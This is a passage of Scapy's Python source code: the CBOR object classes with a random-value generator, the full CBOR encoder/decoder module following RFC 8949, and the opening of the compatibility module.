dependency self.objlist = [ CBOR_UNSIGNED_INTEGER, CBOR_NEGATIVE_INTEGER, CBOR_BYTE_STRING, CBOR_TEXT_STRING, CBOR_ARRAY, CBOR_MAP, CBOR_FALSE, CBOR_TRUE, CBOR_NULL, CBOR_UNDEFINED, CBOR_FLOAT, ] return self.objlist def _fix(self, n=0): # type: (int) -> CBOR_Object[Any] objlist = self._get_objlist() # If we're at max recursion depth and have arrays/maps in objlist, # filter them out to avoid infinite recursion if n >= 10: objlist = [o for o in objlist if o not in [CBOR_ARRAY, CBOR_MAP]] if not objlist: # Fallback to a simple type return CBOR_UNSIGNED_INTEGER( abs(int(random.gauss(1000, 2000)))) o = random.choice(objlist) if o == CBOR_UNSIGNED_INTEGER: # Random unsigned integer using gaussian distribution return o(abs(int(random.gauss(1000, 2000)))) elif o == CBOR_NEGATIVE_INTEGER: # Random negative integer - ensure it's always negative return o(-abs(int(random.gauss(1000, 2000))) - 1) elif o == CBOR_BYTE_STRING: # Random byte string with exponential length length = int(random.expovariate(0.05) + 1) return o(bytes(random.randint(0, 255) for _ in range(length))) elif o == CBOR_TEXT_STRING: # Random text string with exponential length length = int(random.expovariate(0.05) + 1) return o( "".join(random.choice(self.chars) for _ in range(length))) elif o == CBOR_ARRAY: # Random array with random elements (limit recursion depth) # Use smaller size and limit depth more aggressively for performance size = min(int(random.expovariate(0.2) + 1), 3) # Smaller arrays # Get child objlist - use simple types if current list only has # recursive types child_objlist = self._get_objlist() non_recursive = [ t for t in child_objlist if t not in [CBOR_ARRAY, CBOR_MAP]] # If objlist only contains recursive types or we're deep, use simple # types for children if not non_recursive or n >= 3: child_objlist = [ CBOR_UNSIGNED_INTEGER, CBOR_TEXT_STRING, CBOR_NULL] return o([self.__class__(objlist=child_objlist)._fix(n + 1) for _ in range(size)]) elif o == CBOR_MAP: # Random map with random key-value pairs (limit recursion depth) # CBOR maps use raw Python values as keys, CBOR objects as values # Use smaller size and limit depth more aggressively for # performance size = min(int(random.expovariate(0.2) + 1), 3) # Smaller maps # Get child objlist - use simple types if current list only has # recursive types child_objlist = self._get_objlist() non_recursive = [ t for t in child_objlist if t not in [CBOR_ARRAY, CBOR_MAP]] # If objlist only contains recursive types or we're deep, # use simple types for children if not non_recursive or n >= 3: child_objlist = [ CBOR_UNSIGNED_INTEGER, CBOR_TEXT_STRING, CBOR_NULL] map_dict = {} for _ in range(size): # Use simple hashable types for keys (int or str) if random.choice([True, False]): key = abs(int(random.gauss(100, 200))) else: key_len = int(random.expovariate(0.1) + 1) key = "".join(random.choice(self.chars) for _ in range(key_len)) # noqa: E501 val_obj = self.__class__(objlist=child_objlist)._fix(n + 1) map_dict[key] = val_obj return o(map_dict) elif o == CBOR_FALSE: return o() elif o == CBOR_TRUE: return o() elif o == CBOR_NULL: return o() elif o == CBOR_UNDEFINED: return o() elif o == CBOR_FLOAT: # Random float with gaussian distribution return o(random.gauss(0, 1000.0)) # Default fallback to unsigned integer return CBOR_UNSIGNED_INTEGER( abs(int(random.gauss(1000, 2000)))) ############## # CBOR # ############## class CBOR_Error(Scapy_Exception): pass class CBOR_Encoding_Error(CBOR_Error): pass class CBOR_Decoding_Error(CBOR_Error): pass class CBOR_BadTag_Decoding_Error(CBOR_Decoding_Error): pass class CBORCodec(EnumElement): def register_stem(cls, stem): # type: (Type[CBORcodec_Object[Any]]) -> None cls._stem = stem def dec(cls, s, context=None): # type: (bytes, Optional[Any]) -> CBOR_Object[Any] return cls._stem.dec(s, context=context) # type: ignore def safedec(cls, s, context=None): # type: (bytes, Optional[Any]) -> CBOR_Object[Any] return cls._stem.safedec(s, context=context) # type: ignore def get_stem(cls): # type: () -> type return cls._stem class CBOR_Codecs_metaclass(Enum_metaclass): element_class = CBORCodec class CBOR_Codecs(metaclass=CBOR_Codecs_metaclass): CBOR = cast(CBORCodec, 1) class CBORTag(EnumElement): """Represents a CBOR major type""" def __init__(self, key, # type: str value, # type: int codec=None # type: Optional[Dict[CBORCodec, Type[CBORcodec_Object[Any]]]] # noqa: E501 ): # type: (...) -> None EnumElement.__init__(self, key, value) if codec is None: codec = {} self._codec = codec def clone(self): # type: () -> CBORTag return self.__class__(self._key, self._value, self._codec) def register_cbor_object(self, cborobj): # type: (Type[CBOR_Object[Any]]) -> None self._cbor_obj = cborobj def cbor_object(self, val): # type: (Any) -> CBOR_Object[Any] if hasattr(self, "_cbor_obj"): return self._cbor_obj(val) raise CBOR_Error("%r does not have any assigned CBOR object" % self) def register(self, codecnum, codec): # type: (CBORCodec, Type[CBORcodec_Object[Any]]) -> None self._codec[codecnum] = codec def get_codec(self, codec): # type: (Any) -> Type[CBORcodec_Object[Any]] try: c = self._codec[codec] except KeyError: raise CBOR_Error("Codec %r not found for tag %r" % (codec, self)) return c class CBOR_MajorTypes_metaclass(Enum_metaclass): element_class = CBORTag def __new__(cls, name, # type: str bases, # type: Tuple[type, ...] dct # type: Dict[str, Any] ): # type: (...) -> Type[CBOR_MajorTypes] rdict = {} for k, v in dct.items(): if isinstance(v, int): v = CBORTag(k, v) dct[k] = v rdict[v] = v elif isinstance(v, CBORTag): rdict[v] = v dct["__rdict__"] = rdict ncls = cast('Type[CBOR_MajorTypes]', type.__new__(cls, name, bases, dct)) return ncls class CBOR_MajorTypes(metaclass=CBOR_MajorTypes_metaclass): """CBOR Major Types (RFC 8949)""" name = "CBOR_MAJOR_TYPES" # CBOR major types (3-bit value in the high-order 3 bits) UNSIGNED_INTEGER = cast(CBORTag, 0) NEGATIVE_INTEGER = cast(CBORTag, 1) BYTE_STRING = cast(CBORTag, 2) TEXT_STRING = cast(CBORTag, 3) ARRAY = cast(CBORTag, 4) MAP = cast(CBORTag, 5) TAG = cast(CBORTag, 6) SIMPLE_AND_FLOAT = cast(CBORTag, 7) class CBOR_Object_metaclass(type): def __new__(cls, name, # type: str bases, # type: Tuple[type, ...] dct # type: Dict[str, Any] ): # type: (...) -> Type[CBOR_Object[Any]] c = cast( 'Type[CBOR_Object[Any]]', super(CBOR_Object_metaclass, cls).__new__(cls, name, bases, dct) ) try: c.tag.register_cbor_object(c) except Exception: # Some objects may not have tags yet log_runtime.warning("Failed to register CBOR object %r" % c) return c _K = TypeVar('_K') class CBOR_Object(Generic[_K], metaclass=CBOR_Object_metaclass): """Base class for CBOR value objects""" tag = None # type: ignore # Subclasses must define their own tag def __init__(self, val): # type: (_K) -> None self.val = val def enc(self, codec=None): # type: (Any) -> bytes if codec is None: codec = CBOR_Codecs.CBOR if self.tag is None: raise CBOR_Error("Cannot encode object without a tag") # Pass self instead of self.val for special handling return self.tag.get_codec(codec).enc(self) def __repr__(self): # type: () -> str return "<%s[%r]>" % (self.__class__.__name__, self.val) def __str__(self): # type: () -> str return plain_str(self.enc()) def __bytes__(self): # type: () -> bytes return self.enc() def strshow(self, lvl=0): # type: (int) -> str return (" " * lvl) + repr(self) + "\n" def show(self, lvl=0): # type: (int) -> None print(self.strshow(lvl)) def __eq__(self, other): # type: (Any) -> bool return bool(self.val == other) ####################### # CBOR objects # ####################### class CBOR_UNSIGNED_INTEGER(CBOR_Object[int]): """CBOR unsigned integer (major type 0)""" tag = CBOR_MajorTypes.UNSIGNED_INTEGER class CBOR_NEGATIVE_INTEGER(CBOR_Object[int]): """CBOR negative integer (major type 1)""" tag = CBOR_MajorTypes.NEGATIVE_INTEGER class CBOR_BYTE_STRING(CBOR_Object[bytes]): """CBOR byte string (major type 2)""" tag = CBOR_MajorTypes.BYTE_STRING class CBOR_TEXT_STRING(CBOR_Object[str]): """CBOR text string (major type 3)""" tag = CBOR_MajorTypes.TEXT_STRING class CBOR_ARRAY(CBOR_Object[List[Any]]): """CBOR array (major type 4)""" tag = CBOR_MajorTypes.ARRAY def strshow(self, lvl=0): # type: (int) -> str s = (" " * lvl) + ("# CBOR_ARRAY:") + "\n" for o in self.val: if hasattr(o, 'strshow'): s += o.strshow(lvl=lvl + 1) else: s += (" " * (lvl + 1)) + repr(o) + "\n" return s class CBOR_MAP(CBOR_Object[Dict[Any, Any]]): """CBOR map (major type 5)""" tag = CBOR_MajorTypes.MAP def strshow(self, lvl=0): # type: (int) -> str s = (" " * lvl) + ("# CBOR_MAP:") + "\n" for k, v in self.val.items(): s += (" " * (lvl + 1)) + "Key: " if hasattr(k, 'strshow'): s += k.strshow(0).strip() + "\n" else: s += repr(k) + "\n" s += (" " * (lvl + 1)) + "Value: " if hasattr(v, 'strshow'): s += v.strshow(0).strip() + "\n" else: s += repr(v) + "\n" return s class CBOR_SEMANTIC_TAG(CBOR_Object[Tuple[int, Any]]): """CBOR semantic tag (major type 6)""" tag = CBOR_MajorTypes.TAG class CBOR_SIMPLE_VALUE(CBOR_Object[int]): """CBOR simple value (major type 7)""" tag = CBOR_MajorTypes.SIMPLE_AND_FLOAT class CBOR_FALSE(CBOR_Object[bool]): """CBOR false value""" tag = CBOR_MajorTypes.SIMPLE_AND_FLOAT def __init__(self): # type: () -> None super(CBOR_FALSE, self).__init__(False) class CBOR_TRUE(CBOR_Object[bool]): """CBOR true value""" tag = CBOR_MajorTypes.SIMPLE_AND_FLOAT def __init__(self): # type: () -> None super(CBOR_TRUE, self).__init__(True) class CBOR_NULL(CBOR_Object[None]): """CBOR null value""" tag = CBOR_MajorTypes.SIMPLE_AND_FLOAT def __init__(self): # type: () -> None super(CBOR_NULL, self).__init__(None) class CBOR_UNDEFINED(CBOR_Object[None]): """CBOR undefined value""" tag = CBOR_MajorTypes.SIMPLE_AND_FLOAT def __init__(self): # type: () -> None super(CBOR_UNDEFINED, self).__init__(None) class CBOR_FLOAT(CBOR_Object[float]): """CBOR floating-point number (major type 7)""" tag = CBOR_MajorTypes.SIMPLE_AND_FLOAT class _CBOR_ERROR(CBOR_Object[Union[bytes, CBOR_Object[Any]]]): """CBOR decoding error wrapper""" tag = None # type: ignore # Error objects don't have a CBOR tag class CBOR_DECODING_ERROR(_CBOR_ERROR): """CBOR decoding error object""" def __init__(self, val, exc=None): # type: (Union[bytes, CBOR_Object[Any]], Optional[Exception]) -> None CBOR_Object.__init__(self, val) self.exc = exc def __repr__(self): # type: () -> str return "<%s[%r]{{%r}}>" % ( self.__class__.__name__, self.val, self.exc and self.exc.args[0] or "" ) def enc(self, codec=None): # type: (Any) -> bytes if isinstance(self.val, CBOR_Object): return self.val.enc(codec) return self.val # type: ignore ================================================ FILE: scapy/cbor/cborcodec.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information """ CBOR Codec Implementation - RFC 8949 Following the BER paradigm for ASN.1 """ import struct from typing import ( Any, Dict, Generic, List, Optional, Tuple, Type, TypeVar, Union, cast, ) from scapy.cbor.cbor import ( CBOR_Codecs, CBOR_DECODING_ERROR, CBOR_Decoding_Error, CBOR_Encoding_Error, CBOR_Error, CBOR_MajorTypes, CBOR_Object, _CBOR_ERROR, ) from scapy.compat import chb, orb from scapy.error import log_runtime ################## # CBOR encoding # ################## class CBOR_Exception(Exception): pass class CBOR_Codec_Encoding_Error(CBOR_Encoding_Error): def __init__(self, msg, # type: str encoded=None, # type: Optional[Any] remaining=b"" # type: bytes ): # type: (...) -> None Exception.__init__(self, msg) self.remaining = remaining self.encoded = encoded class CBOR_Codec_Decoding_Error(CBOR_Decoding_Error): def __init__(self, msg, # type: str decoded=None, # type: Optional[Any] remaining=b"" # type: bytes ): # type: (...) -> None Exception.__init__(self, msg) self.remaining = remaining self.decoded = decoded def CBOR_encode_head(major_type, value): # type: (int, int) -> bytes """ Encode CBOR initial byte and additional info. Format: 3 bits major type + 5 bits additional info """ if value < 24: # Value fits in 5 bits return chb((major_type << 5) | value) elif value < 256: # 1-byte value follows return chb((major_type << 5) | 24) + chb(value) elif value < 65536: # 2-byte value follows return chb((major_type << 5) | 25) + struct.pack(">H", value) elif value < 4294967296: # 4-byte value follows return chb((major_type << 5) | 26) + struct.pack(">I", value) else: # 8-byte value follows return chb((major_type << 5) | 27) + struct.pack(">Q", value) def CBOR_decode_head(s): # type: (bytes) -> Tuple[int, int, bytes] """ Decode CBOR initial byte and additional info. Returns: (major_type, value, remaining_bytes) """ if not s: raise CBOR_Codec_Decoding_Error("Empty CBOR data", remaining=s) initial_byte = orb(s[0]) major_type = initial_byte >> 5 additional_info = initial_byte & 0x1f if additional_info < 24: # Value is in the additional info return major_type, additional_info, s[1:] elif additional_info == 24: # 1-byte value follows if len(s) < 2: raise CBOR_Codec_Decoding_Error( "Not enough bytes for 1-byte value", remaining=s) return major_type, orb(s[1]), s[2:] elif additional_info == 25: # 2-byte value follows if len(s) < 3: raise CBOR_Codec_Decoding_Error( "Not enough bytes for 2-byte value", remaining=s) value = struct.unpack(">H", s[1:3])[0] return major_type, value, s[3:] elif additional_info == 26: # 4-byte value follows if len(s) < 5: raise CBOR_Codec_Decoding_Error( "Not enough bytes for 4-byte value", remaining=s) value = struct.unpack(">I", s[1:5])[0] return major_type, value, s[5:] elif additional_info == 27: # 8-byte value follows if len(s) < 9: raise CBOR_Codec_Decoding_Error( "Not enough bytes for 8-byte value", remaining=s) value = struct.unpack(">Q", s[1:9])[0] return major_type, value, s[9:] else: raise CBOR_Codec_Decoding_Error( "Invalid additional info: %d" % additional_info, remaining=s) # [ CBOR codec classes ] # class CBORcodec_metaclass(type): def __new__(cls, name, # type: str bases, # type: Tuple[type, ...] dct # type: Dict[str, Any] ): # type: (...) -> Type[CBORcodec_Object[Any]] c = cast('Type[CBORcodec_Object[Any]]', super(CBORcodec_metaclass, cls).__new__(cls, name, bases, dct)) try: c.tag.register(c.codec, c) except Exception: log_runtime.error("Failed to register codec for tag") return c _K = TypeVar('_K') class CBORcodec_Object(Generic[_K], metaclass=CBORcodec_metaclass): """Base CBOR codec class""" codec = CBOR_Codecs.CBOR tag = CBOR_MajorTypes.UNSIGNED_INTEGER @classmethod def cbor_object(cls, val): # type: (_K) -> CBOR_Object[_K] return cls.tag.cbor_object(val) @classmethod def check_string(cls, s): # type: (bytes) -> None if not s: raise CBOR_Codec_Decoding_Error( "%s: Got empty object while expecting tag %r" % (cls.__name__, cls.tag), remaining=s ) @classmethod def do_dec(cls, s, # type: bytes context=None, # type: Optional[Any] safe=False # type: bool ): # type: (...) -> Tuple[CBOR_Object[Any], bytes] """Decode CBOR data using automatic dispatch based on major type.""" return _decode_cbor_item(s, safe=safe) @classmethod def dec(cls, s, # type: bytes context=None, # type: Optional[Any] safe=False, # type: bool ): # type: (...) -> Tuple[Union[_CBOR_ERROR, CBOR_Object[_K]], bytes] if not safe: return cls.do_dec(s, context, safe) try: return cls.do_dec(s, context, safe) except CBOR_Codec_Decoding_Error as e: return CBOR_DECODING_ERROR(s, exc=e), b"" except CBOR_Error as e: return CBOR_DECODING_ERROR(s, exc=e), b"" @classmethod def safedec(cls, s, # type: bytes context=None, # type: Optional[Any] ): # type: (...) -> Tuple[Union[_CBOR_ERROR, CBOR_Object[_K]], bytes] return cls.dec(s, context, safe=True) @classmethod def enc(cls, s): # type: (_K) -> bytes raise NotImplementedError("Subclasses must implement enc") CBOR_Codecs.CBOR.register_stem(CBORcodec_Object) ########################## # CBORcodec objects # ########################## class CBORcodec_UNSIGNED_INTEGER(CBORcodec_Object[int]): """CBOR unsigned integer codec (major type 0)""" tag = CBOR_MajorTypes.UNSIGNED_INTEGER @classmethod def enc(cls, obj): # type: (Union[int, CBOR_Object[int]]) -> bytes from scapy.cbor.cbor import CBOR_Object i = obj.val if isinstance(obj, CBOR_Object) else obj if i < 0: raise CBOR_Codec_Encoding_Error( "Cannot encode negative value as unsigned integer. " "Use CBOR_NEGATIVE_INTEGER for negative values.") return CBOR_encode_head(0, i) @classmethod def do_dec(cls, s, # type: bytes context=None, # type: Optional[Any] safe=False, # type: bool ): # type: (...) -> Tuple[CBOR_Object[int], bytes] cls.check_string(s) major_type, value, remainder = CBOR_decode_head(s) if major_type != 0: raise CBOR_Codec_Decoding_Error( "Expected major type 0 (unsigned integer), got %d" % major_type, remaining=s) return cls.cbor_object(value), remainder class CBORcodec_NEGATIVE_INTEGER(CBORcodec_Object[int]): """CBOR negative integer codec (major type 1)""" tag = CBOR_MajorTypes.NEGATIVE_INTEGER @classmethod def enc(cls, obj): # type: (Union[int, CBOR_Object[int]]) -> bytes from scapy.cbor.cbor import CBOR_Object i = obj.val if isinstance(obj, CBOR_Object) else obj if i >= 0: raise CBOR_Codec_Encoding_Error( "Cannot encode non-negative value as negative integer. " "Use CBOR_UNSIGNED_INTEGER for non-negative values.") # CBOR negative integer: -1 - n return CBOR_encode_head(1, -1 - i) @classmethod def do_dec(cls, s, # type: bytes context=None, # type: Optional[Any] safe=False, # type: bool ): # type: (...) -> Tuple[CBOR_Object[int], bytes] cls.check_string(s) major_type, value, remainder = CBOR_decode_head(s) if major_type != 1: raise CBOR_Codec_Decoding_Error( "Expected major type 1 (negative integer), got %d" % major_type, remaining=s) # Decode: -1 - n return cls.cbor_object(-1 - value), remainder class CBORcodec_BYTE_STRING(CBORcodec_Object[bytes]): """CBOR byte string codec (major type 2)""" tag = CBOR_MajorTypes.BYTE_STRING @classmethod def enc(cls, obj): # type: (Union[bytes, CBOR_Object[bytes]]) -> bytes from scapy.cbor.cbor import CBOR_Object data = obj.val if isinstance(obj, CBOR_Object) else obj if not isinstance(data, bytes): data = bytes(data) return CBOR_encode_head(2, len(data)) + data @classmethod def do_dec(cls, s, # type: bytes context=None, # type: Optional[Any] safe=False, # type: bool ): # type: (...) -> Tuple[CBOR_Object[bytes], bytes] cls.check_string(s) major_type, length, remainder = CBOR_decode_head(s) if major_type != 2: raise CBOR_Codec_Decoding_Error( "Expected major type 2 (byte string), got %d" % major_type, remaining=s) if len(remainder) < length: raise CBOR_Codec_Decoding_Error( "Not enough bytes for byte string: expected %d, got %d" % (length, len(remainder)), remaining=s) return cls.cbor_object(remainder[:length]), remainder[length:] class CBORcodec_TEXT_STRING(CBORcodec_Object[str]): """CBOR text string codec (major type 3)""" tag = CBOR_MajorTypes.TEXT_STRING @classmethod def enc(cls, obj): # type: (Union[str, CBOR_Object[str]]) -> bytes from scapy.cbor.cbor import CBOR_Object text = obj.val if isinstance(obj, CBOR_Object) else obj if isinstance(text, str): text_bytes = text.encode('utf-8') else: text_bytes = bytes(text) return CBOR_encode_head(3, len(text_bytes)) + text_bytes @classmethod def do_dec(cls, s, # type: bytes context=None, # type: Optional[Any] safe=False, # type: bool ): # type: (...) -> Tuple[CBOR_Object[str], bytes] cls.check_string(s) major_type, length, remainder = CBOR_decode_head(s) if major_type != 3: raise CBOR_Codec_Decoding_Error( "Expected major type 3 (text string), got %d" % major_type, remaining=s) if len(remainder) < length: raise CBOR_Codec_Decoding_Error( "Not enough bytes for text string: expected %d, got %d" % (length, len(remainder)), remaining=s) try: text = remainder[:length].decode('utf-8') except UnicodeDecodeError as e: raise CBOR_Codec_Decoding_Error( "Invalid UTF-8 in text string: %s" % str(e), remaining=s) return cls.cbor_object(text), remainder[length:] class CBORcodec_ARRAY(CBORcodec_Object[List[Any]]): """CBOR array codec (major type 4)""" tag = CBOR_MajorTypes.ARRAY @classmethod def enc(cls, obj): # type: (Union[List[Any], CBOR_Object[List[Any]]]) -> bytes from scapy.cbor.cbor import CBOR_Object array = obj.val if isinstance(obj, CBOR_Object) else obj result = CBOR_encode_head(4, len(array)) for item in array: result += CBORcodec_Object.encode_cbor_item(item) return result @classmethod def do_dec(cls, s, # type: bytes context=None, # type: Optional[Any] safe=False, # type: bool ): # type: (...) -> Tuple[CBOR_Object[List[Any]], bytes] cls.check_string(s) major_type, length, remainder = CBOR_decode_head(s) if major_type != 4: raise CBOR_Codec_Decoding_Error( "Expected major type 4 (array), got %d" % major_type, remaining=s) items = [] for _ in range(length): if not remainder: raise CBOR_Codec_Decoding_Error( "Not enough items in array", remaining=s) item, remainder = CBORcodec_Object.decode_cbor_item( remainder, safe=safe) items.append(item) return cls.cbor_object(items), remainder class CBORcodec_MAP(CBORcodec_Object[Dict[Any, Any]]): """CBOR map codec (major type 5)""" tag = CBOR_MajorTypes.MAP @classmethod def enc(cls, obj): # type: (Union[Dict[Any, Any], CBOR_Object[Dict[Any, Any]]]) -> bytes from scapy.cbor.cbor import CBOR_Object mapping = obj.val if isinstance(obj, CBOR_Object) else obj result = CBOR_encode_head(5, len(mapping)) for key, value in mapping.items(): result += CBORcodec_Object.encode_cbor_item(key) result += CBORcodec_Object.encode_cbor_item(value) return result @classmethod def do_dec(cls, s, # type: bytes context=None, # type: Optional[Any] safe=False, # type: bool ): # type: (...) -> Tuple[CBOR_Object[Dict[Any, Any]], bytes] cls.check_string(s) major_type, length, remainder = CBOR_decode_head(s) if major_type != 5: raise CBOR_Codec_Decoding_Error( "Expected major type 5 (map), got %d" % major_type, remaining=s) mapping = {} for _ in range(length): if not remainder: raise CBOR_Codec_Decoding_Error( "Not enough key-value pairs in map", remaining=s) key, remainder = CBORcodec_Object.decode_cbor_item( remainder, safe=safe) if not remainder: raise CBOR_Codec_Decoding_Error( "Map key without value", remaining=s) value, remainder = CBORcodec_Object.decode_cbor_item( remainder, safe=safe) # Convert key to hashable type if it's a CBOR object if isinstance(key, CBOR_Object): key_val = key.val else: key_val = key mapping[key_val] = value return cls.cbor_object(mapping), remainder class CBORcodec_SEMANTIC_TAG(CBORcodec_Object[Tuple[int, Any]]): """CBOR semantic tag codec (major type 6)""" tag = CBOR_MajorTypes.TAG @classmethod def enc(cls, obj): # type: (Union[Tuple[int, Any], CBOR_Object[Tuple[int, Any]]]) -> bytes from scapy.cbor.cbor import CBOR_Object tagged_item = obj.val if isinstance(obj, CBOR_Object) else obj tag_num, item = tagged_item result = CBOR_encode_head(6, tag_num) result += CBORcodec_Object.encode_cbor_item(item) return result @classmethod def do_dec(cls, s, # type: bytes context=None, # type: Optional[Any] safe=False, # type: bool ): # type: (...) -> Tuple[CBOR_Object[Tuple[int, Any]], bytes] cls.check_string(s) major_type, tag_num, remainder = CBOR_decode_head(s) if major_type != 6: raise CBOR_Codec_Decoding_Error( "Expected major type 6 (tag), got %d" % major_type, remaining=s) if not remainder: raise CBOR_Codec_Decoding_Error( "Tag without following item", remaining=s) item, remainder = CBORcodec_Object.decode_cbor_item( remainder, safe=safe) return cls.cbor_object((tag_num, item)), remainder class CBORcodec_SIMPLE_AND_FLOAT(CBORcodec_Object[Union[int, float, bool, None]]): """CBOR simple values and floats codec (major type 7)""" tag = CBOR_MajorTypes.SIMPLE_AND_FLOAT @classmethod def enc(cls, obj): # type: (Union[int, float, bool, None, CBOR_Object[Any]]) -> bytes from scapy.cbor.cbor import ( CBOR_FALSE, CBOR_TRUE, CBOR_NULL, CBOR_UNDEFINED, CBOR_Object ) # Check if obj is a CBOR object instance (for special cases like UNDEFINED) if isinstance(obj, CBOR_UNDEFINED): return chb(0xf7) # undefined elif isinstance(obj, CBOR_NULL): return chb(0xf6) # null elif isinstance(obj, CBOR_TRUE): return chb(0xf5) # true elif isinstance(obj, CBOR_FALSE): return chb(0xf4) # false elif isinstance(obj, CBOR_Object): # For other CBOR objects, use their val attribute val = obj.val else: val = obj if val is False: return chb(0xf4) # false elif val is True: return chb(0xf5) # true elif val is None: return chb(0xf6) # null elif isinstance(val, float): # Encode as double precision (8 bytes) return chb(0xfb) + struct.pack(">d", val) elif isinstance(val, int) and 0 <= val <= 23: # Simple value 0-23 return CBOR_encode_head(7, val) else: raise CBOR_Codec_Encoding_Error( "Cannot encode value as simple/float: %r" % val) @classmethod def do_dec(cls, s, # type: bytes context=None, # type: Optional[Any] safe=False, # type: bool ): # type: (...) -> Tuple[CBOR_Object[Any], bytes] from scapy.cbor.cbor import ( CBOR_FALSE, CBOR_TRUE, CBOR_NULL, CBOR_UNDEFINED, CBOR_FLOAT, CBOR_SIMPLE_VALUE ) cls.check_string(s) # For major type 7, we need special handling because additional_info # encodes different things (simple values vs float sizes) initial_byte = orb(s[0]) major_type = initial_byte >> 5 additional_info = initial_byte & 0x1f if major_type != 7: raise CBOR_Codec_Decoding_Error( "Expected major type 7 (simple/float), got %d" % major_type, remaining=s) # Check for special simple values (encoded directly in additional_info) if additional_info == 20: return CBOR_FALSE(), s[1:] elif additional_info == 21: return CBOR_TRUE(), s[1:] elif additional_info == 22: return CBOR_NULL(), s[1:] elif additional_info == 23: return CBOR_UNDEFINED(), s[1:] elif additional_info == 25: # Half precision float (2 bytes) - IEEE 754 binary16 if len(s) < 3: raise CBOR_Codec_Decoding_Error( "Not enough bytes for half float", remaining=s) half_bytes = s[1:3] remainder = s[3:] # Convert IEEE 754 binary16 to binary64 (double) half_int = struct.unpack(">H", half_bytes)[0] sign = (half_int >> 15) & 0x1 exponent = (half_int >> 10) & 0x1f fraction = half_int & 0x3ff # Handle special cases if exponent == 0: if fraction == 0: # Zero float_val = -0.0 if sign else 0.0 else: # Subnormal number float_val = ((-1) ** sign) * (fraction / 1024.0) * (2 ** -14) elif exponent == 31: if fraction == 0: # Infinity float_val = float('-inf') if sign else float('inf') else: # NaN float_val = float('nan') else: # Normalized number float_val = ( ((-1) ** sign) * (1 + fraction / 1024.0) * (2 ** (exponent - 15))) return CBOR_FLOAT(float_val), remainder elif additional_info == 26: # Single precision float (4 bytes) if len(s) < 5: raise CBOR_Codec_Decoding_Error( "Not enough bytes for single float", remaining=s) float_val = struct.unpack(">f", s[1:5])[0] return CBOR_FLOAT(float_val), s[5:] elif additional_info == 27: # Double precision float (8 bytes) if len(s) < 9: raise CBOR_Codec_Decoding_Error( "Not enough bytes for double float", remaining=s) float_val = struct.unpack(">d", s[1:9])[0] return CBOR_FLOAT(float_val), s[9:] elif additional_info < 24: # Simple value 0-23 return CBOR_SIMPLE_VALUE(additional_info), s[1:] else: # additional_info 24 means 1-byte simple value follows if additional_info == 24: if len(s) < 2: raise CBOR_Codec_Decoding_Error( "Not enough bytes for simple value", remaining=s) return CBOR_SIMPLE_VALUE(orb(s[1])), s[2:] else: raise CBOR_Codec_Decoding_Error( "Invalid additional info for major type 7: %d" % additional_info, remaining=s) # Helper methods for encoding/decoding arbitrary CBOR items def _encode_cbor_item(item): # type: (Any) -> bytes """Encode a Python value to CBOR bytes""" from scapy.cbor.cbor import CBOR_Object if isinstance(item, CBOR_Object): return item.enc() elif isinstance(item, bool): # Must check bool before int (bool is subclass of int) return CBORcodec_SIMPLE_AND_FLOAT.enc(item) elif isinstance(item, int): if item >= 0: return CBORcodec_UNSIGNED_INTEGER.enc(item) else: return CBORcodec_NEGATIVE_INTEGER.enc(item) elif isinstance(item, bytes): return CBORcodec_BYTE_STRING.enc(item) elif isinstance(item, str): return CBORcodec_TEXT_STRING.enc(item) elif isinstance(item, list): return CBORcodec_ARRAY.enc(item) elif isinstance(item, dict): return CBORcodec_MAP.enc(item) elif isinstance(item, float): return CBORcodec_SIMPLE_AND_FLOAT.enc(item) elif item is None: return CBORcodec_SIMPLE_AND_FLOAT.enc(None) else: raise CBOR_Codec_Encoding_Error( "Cannot encode type: %s" % type(item)) def _decode_cbor_item(s, safe=False): # type: (bytes, bool) -> Tuple[CBOR_Object[Any], bytes] """Decode CBOR bytes to a CBOR_Object""" if not s: raise CBOR_Codec_Decoding_Error("Empty CBOR data", remaining=s) initial_byte = orb(s[0]) major_type = initial_byte >> 5 # Dispatch to appropriate codec based on major type if major_type == 0: return CBORcodec_UNSIGNED_INTEGER.dec(s, safe=safe) elif major_type == 1: return CBORcodec_NEGATIVE_INTEGER.dec(s, safe=safe) elif major_type == 2: return CBORcodec_BYTE_STRING.dec(s, safe=safe) elif major_type == 3: return CBORcodec_TEXT_STRING.dec(s, safe=safe) elif major_type == 4: return CBORcodec_ARRAY.dec(s, safe=safe) elif major_type == 5: return CBORcodec_MAP.dec(s, safe=safe) elif major_type == 6: return CBORcodec_SEMANTIC_TAG.dec(s, safe=safe) elif major_type == 7: return CBORcodec_SIMPLE_AND_FLOAT.dec(s, safe=safe) else: raise CBOR_Codec_Decoding_Error( "Invalid major type: %d" % major_type, remaining=s) # Add helper methods to CBORcodec_Object CBORcodec_Object.encode_cbor_item = staticmethod(_encode_cbor_item) CBORcodec_Object.decode_cbor_item = staticmethod(_decode_cbor_item) ================================================ FILE: scapy/compat.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information """ Compatibility module to various older versions of Python """ import base64 import binascii import enum import struct import sys from typing import ( Any, AnyStr, Callable, Optional, TypeVar, TYPE_CHECKING, Union, ) # Very important: will issue typing errors otherwise __all__ = [ # typing 'DecoratorCallable', 'Literal', 'Protocol', 'Self', 'UserDict', # compat 'base64_bytes', 'bytes_base64', 'bytes_encode', 'bytes_hex', 'chb', 'hex_bytes', 'orb', 'plain_str', 'raw', 'StrEnum', ] # Typing compatibility # Note: # supporting typing on multiple python versions is a nightmare. # we provide a FakeType class to be able to use types added on # later Python versions (since we run mypy on 3.14), on older # ones. # Import or create fake types def _FakeType(name, cls=object): # type: (str, Optional[type]) -> Any class _FT(object): def __init__(self, name): # type: (str) -> None self.name = name # make the objects subscriptable indefinitely def __getitem__(self, item): # type: ignore return cls def __call__(self, *args, **kargs): # type: (*Any, **Any) -> Any if isinstance(args[0], str): self.name = args[0] return self def __repr__(self): # type: () -> str return "" % self.name return _FT(name) # Python 3.8 Only if sys.version_info >= (3, 8): from typing import Literal from typing import Protocol else: Literal = _FakeType("Literal") class Protocol: pass # Python 3.9 Only if sys.version_info >= (3, 9): from collections import UserDict else: from collections import UserDict as _UserDict UserDict = _FakeType("_UserDict", _UserDict) # Python 3.11 Only if sys.version_info >= (3, 11): from typing import Self else: Self = _FakeType("Self") # Python 3.11 Only if sys.version_info >= (3, 11): from enum import StrEnum else: class StrEnum(str, enum.Enum): pass ########### # Python3 # ########### # 